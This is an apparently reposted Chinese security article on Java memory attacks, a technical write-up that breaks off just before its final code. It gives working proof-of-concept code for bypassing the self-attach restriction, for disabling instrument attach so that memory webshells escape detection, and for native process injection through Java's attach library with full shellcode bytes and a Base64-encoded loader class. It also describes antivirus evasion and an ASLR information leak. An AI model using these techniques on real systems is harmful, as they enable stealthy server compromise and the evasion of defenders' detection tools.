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Java内存攻击技术漫谈

聚合站 SecWiki技术 作者 SilverNeedleLab 发布 2021年8月17日 20:14 入库 2026-11-18T18:16:08

前言

Java技术栈漏洞目前业已是web安全领域的主流战场,随着IPS、RASP等防御系统的更新迭代,Java攻防交战阵地已经从磁盘升级到了内存里面。在今年7月份上海银针安全沙龙上,我分享了《Java内存攻击技术漫谈》的议题,个人觉得PPT承载的信息比较离散,技术类的内容还是更适合用文章的形式来分享,所以一直想着抽时间写一篇和议题配套的文章,不巧赶上南京的新冠疫情,这篇文章拖了一个多月才有时间写。

allowAttachSelf绕过

Java的instrument是Java内存攻击常用的一种机制,instrument通过attach方法提供了在JVM运行时动态查看、修改Java类的功能,比如通过instrument动态注入内存马。但是在Java9及以后的版本中,默认不允许SelfAttach:

Attach API cannot be used to attach to the current VM by defaultThe implementation of Attach API has changed in JDK 9 to disallow attaching to the current VM by default. Thischangeshould havenoimpactontools thatusethe Attach APItoattachtoa running VM. It may impact libraries that misuse this APIasa waytogetatthe java.lang.instrument API. Thesystemproperty jdk.attach.allowAttachSelf may besetonthe command linetomitigateanycompatibilitywiththis change.

也就是说,系统提供了一个jdk.attach.allowAttachSelf的VM参数,这个参数默认为false,且必须在Java启动时指定才生效。

编写一个demo尝试attach自身PID,提示Can not attach to current VM,如下:

经过分析attch API的执行流程,定位到如下代码:

由上图可见,attach的时候会创建一个HotSpotVirtualMachine的父类,这个类在初始化的时候会去获取VM的启动参数,并把这个参数保存至HotSpotVirtualMachine的ALLOW_ATTACH_SELF属性中,恰好这个属性是个静态属性,所以我们可以通过反射动态修改这个属性的值。构造如下POC:

Class cls=Class.forName("sun.tools.attach.HotSpotVirtualMachine");Field field=cls.getDeclaredField("ALLOW_ATTACH_SELF");field.setAccessible(true);Field modifiersField=Field.class.getDeclaredField("modifiers");modifiersField.setInt(field,field.getModifiers()&~Modifier.FINAL);field.setBoolean(null,true);

由于ALLOW_ATTACH_SELF字段有final修饰符,所以在修改ALLOW_ATTACH_SELF值的同时,也需要把它的final修饰符给去掉(修改的时候,会有告警产提示,不影响最终效果,可以忽略)。修改后,可以成功attach到自身进程,如下图:

这样,我们就成功绕过了allowAttachSelf的限制。

内存马防检测

随着攻防热度的升级,内存马注入现在已经发展成为一个常用的攻击技术。目前业界的内存马主要分为两大类:

•Agent型利用instrument机制,在不增加新类和新方法的情况下,对现有类的执行逻辑进行修改。JVM层注入,通用性强。•非Agent型通过新增一些Java web组件(如Servlet、Filter、Listener、Controller等)来实现拦截请求,从而注入木马代码,对目标容器环境有较强的依赖性,通用性较弱。

由于内存马技术的火热,内存马的检测也如火如荼,针对内存马的检测,目前业界主要有两种方法:

•基于反射的检测方法

该方法是一种轻量级的检测方法,不需要注入Java进程,主要用于检测非Agent型的内存马,由于非Agent型的内存马会在Java层新增多个类和对象,并且会修改一些已有的数组,因此通过反射的方法即可检测,但是这种方法无法检测Agent型内存马。

•基于instrument机制的检测方法

该方法是一种通用的重量级检测方法,需要将检测逻辑通过attach API注入Java进程,理论上可以检测出所有类型的内存马。当然instrument不仅能用于内存马检测,java.lang.instrument是Java 1.5引入的一种可以通过修改字节码对Java程序进行监测的一种机制,这种机制广泛应用于各种Java性能检测框架、程序调试框架,如JProfiler、IntelliJ IDE等,当然近几年比较流行的RASP也是基于此类技术。

既然通过instrument机制能检测到Agent型内存马,那我们怎么样才能避免被检测到呢?答案比较简单,也比较粗暴,那就是把instrument机制破坏掉。这也是在冰蝎3.0中内存马防检测机制的实现原理,检测软件无法attach,自然也就无法检测。

首先,我们先分析一下instrument的工作流程,如下图:

1.检测工具作为Client,根据指定的PID,向目标JVM发起attach请求;2.JVM收到请求后,做一些校验(比如上文提到的jdk.attach.allowAttachSelf的校验),校验通过后,会打开一个IPC通道。3.接下来Client会封装一个名为AttachOperation的C++对象,发送给Server端;4.Server端会把Client发过来的AttachOperation对象放入一个队列;5.Server端另外一个线程会从队列中取出AttachOperation对象并解析,然后执行对应的操作,并把执行结果通过IPC通道返回Client。

由于该套流程的具体实现在不同的操作系统平台上略有差异,因此接下来我分平台来展开。

windows平台

通过分析定位到如下关键代码:

可以看到当var5不等于0的时候,attach会报错,而var5是从var4中读取的,var4是execute的返回值,跟入execute,如下:

可以看到,execute方法又把核心工作交给了方法enqueue,这个方法是一个native方法,如下图:

继续跟入enqueue方法:

可以看到enqueue中封装了一个DataBlock对象,里面有几个关键参数:

strcpy(data.jvmLib,"jvm");strcpy(data.func1,"JVM_EnqueueOperation");strcpy(data.func2,"_JVM_EnqueueOperation@20");

以上操作都发生在Client侧,接下来我们转到Server侧,定位到如下代码:

这段代码是把Client发过来的对象进行解包,然后解析里面的指令。经常写Windows shellcode的人应该会看到两个特别熟悉的API:GetModuleHandle、GetProcAddress,这是动态定位DLL中导出函数的常用API。这里的操作就是动态从jvm.dll中动态定位名称为JVM_EnqueueOperation和_JVM_EnqueueOperation@20的两个导出函数,这两个函数就是上文流程图中将AttachOperation对象放入队列的执行函数。

到这里我想大家应该知道接下来该怎么做了,那就是inlineHook。我们只要把jvm.dll中的这两个导出函数给NOP掉,不就可以成功把instrument的流程给破坏掉了么?

静态分析结束了,接下来动态调试Server侧,定位到如下位置:

图中RIP所指即为JVM_EnqueueOperation函数的入口,我们只要让RIP执行到这里直接返回即可:

怎么修改呢?当然是用JNI,核心代码如下:

unsigned char buf[]="\xc2\x14\x00";//32,directreturnenqueue functionHINSTANCE hModule = LoadLibrary(L"jvm.dll");//LPVOID dst=GetProcAddress(hModule,"ConnectNamedPipe");LPVOID dst=GetProcAddress(hModule,"_JVM_EnqueueOperation@20");DWORD old;if(VirtualProtectEx(GetCurrentProcess(),dst,3, PAGE_EXECUTE_READWRITE, &old)){WriteProcessMemory(GetCurrentProcess(), dst, buf,3, NULL);VirtualProtectEx(GetCurrentProcess(), dst,3, old, &old);}/unsigned char buf[]="\xc3";//64,directreturnenqueue functionHINSTANCE hModule = LoadLibrary(L"jvm.dll");//LPVOID dst=GetProcAddress(hModule,"ConnectNamedPipe");LPVOID dst=GetProcAddress(hModule,"JVM_EnqueueOperation");//printf("ConnectNamedPipe:%p",dst);DWORD old;if(VirtualProtectEx(GetCurrentProcess(),dst,1, PAGE_EXECUTE_READWRITE, &old)){WriteProcessMemory(GetCurrentProcess(), dst, buf,1, NULL);VirtualProtectEx(GetCurrentProcess(), dst,1, old, &old);}/

注意这里要考虑32位和64位的区别,同时要注意堆栈平衡,否则可能会导致进程crash。到此,我们就实现了Windows平台上的内存马防检测(Anti-Attach)功能,我们尝试用JProfiler连接试一下,可见已经无法attach到目标进程了:

以上即是Windows平台上的内存马防检测功能原理。

Linux平台

在Linux平台,instrument的实现略有不同,通过跟踪整个流程定位到如下代码:

可以看到,在Linux平台上,IPC通信采用的是UNIX Domain Socket,因此想破坏Linux平台下的instrument attach流程还是比较简单的,只要把对应的UNIX Domain Socket文件删掉就可以了。删掉后,我们尝试对目标JVM进行attach,便会提示无法attach:

到此,我们就实现了Linux平台上的内存马防检测(Anti-Attach)功能,当然其他*nix-like的操作系统平台也同样适用于此方法。

最后说一句,内存马防检测,其实可以在上述instrument流程图中的任意一个环节进行破坏,都可以实现Anti-Attach的效果。

Java原生远程进程注入

在Windows平台上,进程代码注入有很多种方法,最经典的方法要属CreateRemoteThread,但是这些方法大都被防护系统盯得死死的,比如我写了如下一个最简单的远程注入shellcode的demo:

往当前进程里植入一个弹计算器的shellcode,编译,运行,然后意料之中出现如下这种情况:

但是经过分析JVM的源码我发现,在Windows平台上,Java在实现instrument的时候,出现了一个比较怪异的操作。

在Linux平台,客户端首先是先和服务端协商一个IPC通道,然后后续的操作都是通过这个通道传递AttachOperation对象来实现,换句话说,这中间传递的都是数据,没有代码。

但是在Windows平台,客户端也是首先和服务端协商了一个IPC通道(用的是命名管道),但是在Java层的enqueue函数中,同时还使用了CreateRemoteThread在服务端启动了一个stub线程,让这个线程去在服务端进程空间里执行enqueue操作:

这个stub执行体pCode是在客户端的native层生成的,生成之后作为thread_func传给服务端。但是,虽然stub是在native生成的,这个stub却又在Java层周转了一圈,最终在Java层以字节数组的方式作为Java层enqueue函数的一个参数传进Native。

这样就形成了一个完美的原生远程进程注入,构造如下POC:

importjava.lang.reflect.Method;public class ThreadMain {public static void main(String[] args) throws Exception {System.loadLibrary("attach");Class cls=Class.forName("sun.tools.attach.WindowsVirtualMachine");for(Method m:cls.getDeclaredMethods()){if(m.getName().equals("enqueue")){long hProcess=-1;//hProcess=getHandleByPid(30244);bytebuf[] =newbyte[]//pop calc.exe{(byte)0xfc, (byte)0x48, (byte)0x83, (byte)0xe4, (byte)0xf0, (byte)0xe8, (byte)0xc0, (byte)0x00,(byte)0x00, (byte)0x00, (byte)0x41, (byte)0x51, (byte)0x41, (byte)0x50, (byte)0x52, (byte)0x51,(byte)0x56, (byte)0x48, (byte)0x31, (byte)0xd2, (byte)0x65, (byte)0x48, (byte)0x8b, (byte)0x52,(byte)0x60, (byte)0x48, (byte)0x8b, (byte)0x52, (byte)0x18, (byte)0x48, (byte)0x8b, (byte)0x52,(byte)0x20, (byte)0x48, (byte)0x8b, (byte)0x72, (byte)0x50, (byte)0x48, (byte)0x0f, (byte)0xb7,(byte)0x4a, (byte)0x4a, (byte)0x4d, (byte)0x31, (byte)0xc9, (byte)0x48, (byte)0x31, (byte)0xc0,(byte)0xac, (byte)0x3c, (byte)0x61, (byte)0x7c, (byte)0x02, (byte)0x2c, (byte)0x20, (byte)0x41,(byte)0xc1, (byte)0xc9, (byte)0x0d, (byte)0x41, (byte)0x01, (byte)0xc1, (byte)0xe2, (byte)0xed,(byte)0x52, (byte)0x41, (byte)0x51, (byte)0x48, (byte)0x8b, (byte)0x52, (byte)0x20, (byte)0x8b,(byte)0x42, (byte)0x3c, (byte)0x48, (byte)0x01, (byte)0xd0, (byte)0x8b, (byte)0x80, (byte)0x88,(byte)0x00, (byte)0x00, (byte)0x00, (byte)0x48, (byte)0x85, (byte)0xc0, (byte)0x74, (byte)0x67,(byte)0x48, (byte)0x01, (byte)0xd0, (byte)0x50, (byte)0x8b, (byte)0x48, (byte)0x18, (byte)0x44,(byte)0x8b, (byte)0x40, (byte)0x20, (byte)0x49, (byte)0x01, (byte)0xd0, (byte)0xe3, (byte)0x56,(byte)0x48, (byte)0xff, (byte)0xc9, (byte)0x41, (byte)0x8b, (byte)0x34, (byte)0x88, (byte)0x48,(byte)0x01, (byte)0xd6, (byte)0x4d, (byte)0x31, (byte)0xc9, (byte)0x48, (byte)0x31, (byte)0xc0,(byte)0xac, (byte)0x41, (byte)0xc1, (byte)0xc9, (byte)0x0d, (byte)0x41, (byte)0x01, (byte)0xc1,(byte)0x38, (byte)0xe0, (byte)0x75, (byte)0xf1, (byte)0x4c, (byte)0x03, (byte)0x4c, (byte)0x24,(byte)0x08, (byte)0x45, (byte)0x39, (byte)0xd1, (byte)0x75, (byte)0xd8, (byte)0x58, (byte)0x44,(byte)0x8b, (byte)0x40, (byte)0x24, (byte)0x49, (byte)0x01, (byte)0xd0, (byte)0x66, (byte)0x41,(byte)0x8b, (byte)0x0c, (byte)0x48, (byte)0x44, (byte)0x8b, (byte)0x40, (byte)0x1c, (byte)0x49,(byte)0x01, (byte)0xd0, (byte)0x41, (byte)0x8b, (byte)0x04, (byte)0x88, (byte)0x48, (byte)0x01,(byte)0xd0, (byte)0x41, (byte)0x58, (byte)0x41, (byte)0x58, (byte)0x5e, (byte)0x59, (byte)0x5a,(byte)0x41, (byte)0x58, (byte)0x41, (byte)0x59, (byte)0x41, (byte)0x5a, (byte)0x48, (byte)0x83,(byte)0xec, (byte)0x20, (byte)0x41, (byte)0x52, (byte)0xff, (byte)0xe0, (byte)0x58, (byte)0x41,(byte)0x59, (byte)0x5a, (byte)0x48, (byte)0x8b, (byte)0x12, (byte)0xe9, (byte)0x57, (byte)0xff,(byte)0xff, (byte)0xff, (byte)0x5d, (byte)0x48, (byte)0xba, (byte)0x01, (byte)0x00, (byte)0x00,(byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x48, (byte)0x8d, (byte)0x8d,(byte)0x01, (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x41, (byte)0xba, (byte)0x31, (byte)0x8b,(byte)0x6f, (byte)0x87, (byte)0xff, (byte)0xd5, (byte)0xbb, (byte)0xf0, (byte)0xb5, (byte)0xa2,(byte)0x56, (byte)0x41, (byte)0xba, (byte)0xa6, (byte)0x95, (byte)0xbd, (byte)0x9d, (byte)0xff,(byte)0xd5, (byte)0x48, (byte)0x83, (byte)0xc4, (byte)0x28, (byte)0x3c, (byte)0x06, (byte)0x7c,(byte)0x0a, (byte)0x80, (byte)0xfb, (byte)0xe0, (byte)0x75, (byte)0x05, (byte)0xbb, (byte)0x47,(byte)0x13, (byte)0x72, (byte)0x6f, (byte)0x6a, (byte)0x00, (byte)0x59, (byte)0x41, (byte)0x89,(byte)0xda, (byte)0xff, (byte)0xd5, (byte)0x63, (byte)0x61, (byte)0x6c, (byte)0x63, (byte)0x2e,(byte)0x65, (byte)0x78, (byte)0x65, (byte)0x00};String cmd="load";String pipeName="test";m.setAccessible(true);Object result=m.invoke(cls,newObject[]{hProcess,buf,cmd,pipeName,newObject[]{}});System.out.println("result:"+result);}}Thread.sleep(4000);}public static long getHandleByPid(intpid){Class cls= null;long hProcess=-1;try {cls = Class.forName("sun.tools.attach.WindowsVirtualMachine");for(Method m:cls.getDeclaredMethods()) {if(m.getName().equals("openProcess")){m.setAccessible(true);Object result=m.invoke(cls,pid);System.out.println("pid :"+result);hProcess=Long.parseLong(result.toString());}}} catch (Exception e) {e.printStackTrace();}returnhProcess;}}

编译,执行:

成功执行shellcode,而且Windows Defender没有告警,天然免杀。毕竟,谁能想到有着合法签名安全可靠的Java.exe会作恶呢:)

至此,我们实现了Windows平台上的Java远程进程注入。另外,这个技术还有个额外效果,那就是当注入进程的PID设置为-1的时候,可以往当前Java进程注入任意Native代码,以实现不用JNI执行任意Native代码的效果。这样就不需要再单独编写JNI库来执行Native代码了,也就是说,上文提到的内存马防检测机制,不需要依赖JNI,只要纯Java代码也可以实现。

冰蝎3.0中提供了一键cs上线功能,采用的是JNI机制,中间需要上传一个临时库文件才能实现上线。现在利用这个技术,可以实现一个JSP文件或者一个反序列化Payload即可上线CS:

自定义类调用系统Native库函数

在上一小节Java原生远程进程注入中,我的POC里是通过反射创建了一个sun.tools.attach.VirtualMachineImpl类,然后再去调用类里面的enqueue这个Native方法。这时可能会有同学有疑惑,这个Native方法位于attach.dll,这个dll是JDK和Server-JRE默认自带的,但是这个sun.tools.attach.VirtualMachineImpl类所在的tools.jar包并不是每个JDK环境都有的。这个技术岂不是要依赖tools.jar?因为有些JDK环境是没有tools.jar的。当然,这个担心是没必要的。

我们只要自己写一个类,类的限定名为sun.tools.attach.VirtualMachineImpl即可。不过可能还会有疑问,我们自己写一个sun.tools.attach.VirtualMachineImpl类,但是如果某个目标里确实有tools.jar,那我们自己写的类在加载的时候就会报错,有没有一个更通用的方法呢?当然还是有的。

其实这个方法在冰蝎1.0版本的时候就已经解决了,那就是用一个自定义的classLoader。但是我们都知道classLoader在loadClass的时候采用双亲委托机制,也就是如果系统中已经存在一个类,即使我们用自定义的classLoader去loadClass,也会返回系统内置的那个类。但是如果我们绕过loadClass,直接去defineClass即可从我们指定的字节码数组里创建类,而且类名我们可以任意自定义,重写java.lang.String都没问题:) 然后再用defineClass返回的Class去实例化,然后再调用我们想调用的Native函数即可。因为Native函数在调用的时候只检测发起调用的类限定名,并不检测发起调用类的ClassLoader,这是我们这个方法能成功的原因。

比如我们自定义如下这个类:

packagesun.tools.attach;importjava.io.IOException;importjava.util.Scanner;publicclassWindowsVirtualMachine{staticnativevoidenqueue(longhProcess,byte[] stub,String cmd, String pipename, Object... args)throwsIOException;staticnativelongopenProcess(intpid)throwsIOException;publicstaticvoidrun(byte[] buf){System.loadLibrary("attach");try{enqueue(-1, buf,"test","test",newObject[]{});}catch(Exception e) {e.printStackTrace();}}}

然后把这个类编译成class文件,把这个文件用Base64编码,然后写到如下POC里:

importjava.io.*;importjava.lang.reflect.InvocationTargetException;importjava.lang.reflect.Method;importjava.security.Permission;importjava.util.Arrays;importjava.util.Base64;publicclassPoc{publicstaticclassMyloaderextendsClassLoader//继承ClassLoader{publicClassget(byte[] b){returnsuper.defineClass(b,0, b.length);}}publicstaticvoidmain(String[] args){try{String classStr="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";Class result =newMyloader().get(Base64.getDecoder().decode(classStr));for(Method m:result.getDeclaredMethods()){System.out.println(m.getName());if(m.getName().equals("run")){m.invoke(result,newbyte[]{});}}}catch(Exception e) {e.printStackTrace();}}}

这样就可以通过自定义一个系统内置类来加载系统库函数的Native方法。

无文件落地Agent型内存马植入

可行性分析

前面我们讲到了目前Java内存马的分类:Agent型内存马和非Agent型内存马。由于非Agent型内存马注入后,会产生新的类和对象,同时还会产生各种错综复杂的相互引用关系,比如要创建一个恶意Filter内存马,需要先修改已有的FilterMap,然后新增FilterConfig、FilterDef,最后还要修改FilterChain,这一系列操作产生的脏数据过多,不够整洁。因此我还是认为Agent型内存马才是更理想的内存马。

但是目前来看,Agent型内存马的缺点也非常明显:

•磁盘有agent文件落地•需要上传文件,植入步骤复杂•如无写文件权限,则无法植入

众所周知,想要动态修改JVM中已经加载的类的字节码,必须要通过加载一个Agent来实现,这个Agent可以是Java层的agent.jar,也可以是Native层的agent.so,但是必须要有个agent。有没有一种方法可以既优雅又简洁的植入Agent型内存马呢?换句话说,有没有一种方法可以在不依赖额外Agent的情况下,动态修改JVM中已经加载的类的字节码呢?以前没有,现在有了:)

首先,我们先看一下通过Agent动态修改类的流程:

1.在客户端和目标JVM建立IPC连接以后,客户端会封装一个用来加载agent.jar的AttachOperation对象,这个对象里面有三个关键数据:actioName、libName和agentPath;2.服务端收到AttachOperation后,调用enqueue压入AttachOperation队列等待处理;3.服务端处理线程调用dequeue方法取出AttachOperation;4.服务端解析AttachOperation,提取步骤1中提到的3个参数,调用actionName为load的对应处理分支,然后加载libinstrument.so(在windows平台为instrument.dll),执行AttachOperation的On_Attach函数(由此可以看到,Java层的instrument机制,底层都是通过Native层的Instrument来封装的);5.libinstrument.so中的On_Attach会解析agentPath中指定的jar文件,该jar中调用了redefineClass的功能;6.执行流转到Java层,JVM会实例化一个InstrumentationImpl类,这个类在构造的时候,有个非常重要的参数mNativeAgent:

这个参数是long型,其值是一个Native层的指针,指向的是一个C++对象JPLISAgent。7.InstrumentationImpl实例化之后,再继续调用InstrumentationImpl类的redefineClasses方法,做稍许校验之后继续调用InstrumentationImpl的Native方法redefineClasses08.执行流继续走入Native层:

继续跟入:

做了一系列判断之后,最终调用jvmtienv的redefineClasses方法执行类redefine操作:

接下来理一下思路,在上面的8个步骤中,我们只要能跳过前面5个步骤,直接从步骤6开始执行,即可实现我们的目标。那么问题来了,步骤6中在实例化InstrumentationImpl的时候需要的非常重要的mNativeAgent参数值,这个值是一个指向JPLISAgent对象的指针,这个值我们不知道。只有一个办法,我们需要自己在Native层组装一个JPLISAgent对象,然后把这个对象的地址传给Java层InstrumentationImpl的构造器,就可以顺利完成后面的步骤。

组装JPLISAgent

Native内存操作

想要在Native内存上创建对象,首先要获取可控的Native内存操作能力。我们知道Java有个DirectByteBuffer,可以提供用户申请堆外内存的能力,这也就说明DirectByteBuffer是有操作Native内存的能力,而DirectByteBuffer底层其实使用的是Java提供的Unsafe类来操作底层内存的,这里我们也直接使用Unsafe进行Native内存操作。

通过如下代码获取Unsafe:

Unsafeunsafe=null;try{Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");field.setAccessible(true);unsafe= (sun.misc.Unsafe) field.get(null);}catch(Exception e) {thrownewAssertionError(e);}

通过unsafe的allocateMemory、putlong、getAddress方法,可以实现Native内存的分配、读写。

分析JPLISAgent结构

接下来,就是分析JPLISAgent对象的结构了,如下:


JPLISAgent是一个复杂的数据结构。由上文中redefineClasses代码可知,最终实现redefineClasses操作的是*jvmtienv的redefineClasses函数。但是这个jvmtienv的指针,是通过jvmti(JPLISAgent)推导出来的,如下:

而jvmti是一个宏:

而在执行到*jvmtienv的redefineClasses之前,还有多处如下调用都用到了jvmtienv:


因此,我们至少要保证我们自己组装的JPLISAgent对象需要成功推导出jvmtienv的指针,也就是JPLISAgent的mNormalEnvironment成员,其结构如下:

可以看到这个结构里存在一个回环指针mAgent,又指向了JPLISAgent对象,另外,还有个最重要的指针mJVMTIEnv,这个指针是指向内存中的JVMTIEnv对象的,这是JVMTI机制的核心对象。另外,经过分析,JPLISAgent对象中还有个mRedefineAvailable成员,必须要设置成true。

接下来就是要确定JVMTIEnv的地址了。

定位JVMTIEnv

通过动态分析可知,0x000002E62D8EE950为JPLISAgent的地址,0x000002E62D8EE950+0x8(0x000002E62D8EEB60)为mJVMTIEnv,即指向JVMTIEnv指针的指针:

转到该指针:

可以看到0x6F78A220即为JVMTIEnv对象的真实地址,通过分析发现,该对象存在于jvm模块的地址空间中,而且偏移量是固定的,那只要找到jvm模块的加载基址,加加上固定的偏移量即是JVMTIEnv对象的真实地址。但是,现代操作系统默认都开启了ASLR,因此jvm模块的基址并不可知。

信息泄露获取JVM基址

由上文可知,Unsafe提供了堆外内存的分配能力,这里的堆并不是OS层面的堆,而是Java层面的堆,无论是Unsafe分配的堆外地址,还是Java的堆内地址,其都在OS层的堆空间内。经过分析发现,在通过Unsafe分配一个很小的堆外空间时,这个堆外空间的前后内存中,存在大量的指针,而这些指针中,有一些指针指向jvm的地址空间。编写如下代码:

longallocateMemory =unsafe.allocateMemory(3);System.out.println("allocateMemory:"+Long.toHexString(allocateMemory));

输出如下:

定位到地址0x2e61a1b67d0:

可见前后有很多指针,绿色的那些指针,都指向jvm的地址空间:

但是,这部分指针并不可复现,也就是说这些指针相对于allocateMemory的偏移量和指针值都不是固定的,也就是说我们根本无法从这些动态的指针里去推导出一个固定的jvm模块基址。当对一个事物的内部运作机制不了解时,最高效的方法就是利用统计学去解决问题。于是我通过开发辅助程序,多次运行程序,收集大量的前后指针列表,这些指针中有大量是重复出现的,然后根据指针末尾两个字节,做了一个字典,当然只做2个字节的匹配,很容易出错,于是我又根据这些大量指针指向的指针,取末尾两个字节,又做了一个和前面一一对应的字典。这样我们就制作了一个二维字典,并根据指针重复出现的频次排序。POC运行的时候,会以allocateMemory开始,往前往后进行字典匹配,可以准确的确定jvm模块的基址。部分字典结构如下:"'3920':'a5b0':'633920','fe00':'a650':'60fe00','99f0':'cccc':'5199f0','8250':'a650':'638250','d200':'fdd0':'63d200','da70':'b7e0':'67da70' 每个条目含有3个元素,第一个为指针末尾2字节,第二个元素为指针指向的指针末尾两个字节,第三个元素为指针与baseAddress的偏移量。基址确定了,jvmtienv的具体地址就确定了。当然拿到了jvm的地址,加上JavaVM的偏移量便可以直接获得JavaVM的地址。

开始组装

拿到jvm模块的基址后,就万事俱备了,下面准备装配JPLISAgent对象,代码如下:

